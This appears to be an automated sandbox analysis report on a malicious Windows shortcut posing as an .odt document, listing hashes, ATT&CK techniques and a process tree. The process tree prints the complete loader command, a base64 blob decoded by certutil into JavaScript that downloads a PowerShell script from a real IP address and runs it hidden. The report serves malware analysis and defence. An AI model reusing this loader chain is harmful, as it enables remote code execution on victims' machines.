fa9bcb604351eeb749313878d7ad16d9100a87953c2fa9c40ce0c2f02827473c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/07/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Programme.odt.lnk
Size 39KB
Sample260720-ph47ysb19s
SHA256 fa9bcb604351eeb749313878d7ad16d9100a87953c2fa9c40ce0c2f02827473c
MD5 d27aadd981f433726f5a35d1e615675a
SHA1 ece2b3f647db78c1fff6952f37244c57cfbdc955
SHA512 eee55fd3fad0346408bf37f501e8591d88b4aa8d07a8f507dbf8653db960ca2db4e4aa2d18b1ec6dcb9ee2b1adf8c096a45a1451afaa190ae3620ab8ff3e5d75
SSDEEP 24:8d/pKTYChyaWInZU8lvxGO+i7DBEpmJL7rGvlxPlpYZ+MOMrk:8lsSanFX+gNE+L7C9bAfOj
TLSH
T18403AD2076F90159F1F3EF726DF876C68FABFA627131125A2442470A4E05E40E915B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3300	wscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
2468	cmd.exe
3828	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4040	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 2468	4040	cmd.exe	85
PID 2468 wrote to memory of 3828	2468	cmd.exe	86
PID 2468 wrote to memory of 3300	2468	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Programme.odt.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy90ZXN0ZWRzaWRlYnVybnMucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7 > FNSm.b64 && certutil -decode FNSm.b64 CcgyK.js >nul && wscript //b CcgyK.js && del FNSm.b64 CcgyK.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\certutil.exe
    certutil -decode FNSm.b64 CcgyK.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:3828
- - C:\Windows\system32\wscript.exe
    wscript //b CcgyK.js
    3⤵
    - Badlisted process makes network request
    PID:3300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CcgyK.js

Path C:\Users\Admin\AppData\Local\Temp\CcgyK.js
Size 312B
SHA256 8da82f0500f9ddd8a3ade9314d78971a8698364343566bbddfcdd54c80b24677
MD5 cbc72d4f0c37c2ed8aa538d6b25e0425
SHA1 2a4f4092df92fe4f29aa19f4547014c0be0b8bc8
SHA512 540a1a9dfb5369841bb96498b6ff8303890ceb8620af2eba1883bf4c676fad4ae612ea99486af4383c8903dc01333bb5bfe7008be5b03ed47279f7fc77963725
TLSH
T12FE07DA4417550DD50C7DFEC6424D25482DB80A47001F8EFB348CED42410314A69E28E
MD5 SHA1 SHA512 TLSH

Submit Download

FNSm.b64

Path C:\Users\Admin\AppData\Local\Temp\FNSm.b64
Size 420B
SHA256 a25941626ba500f1cbb975c6c6a9ab70ad7fb5ed8f1ef250bd83e9c144f31cfb
MD5 18a7b0de75edc000c08d72e935b54826
SHA1 d93149998df9263a64e88cd391d7d5bf6d2e326c
SHA512 852812d38cff4cef9bac0fd41b5e3b19ad90d6240bdcf74b93f35fb1a0c911a4791e115acc53740591d39d4096768e75dfe7f6246f76134123a12c8beb46bc61
TLSH
T1E3E023DAD102031490185F2131B0A35CD1048FD52EF31D2F67533A50181071B658413C
MD5 SHA1 SHA512 TLSH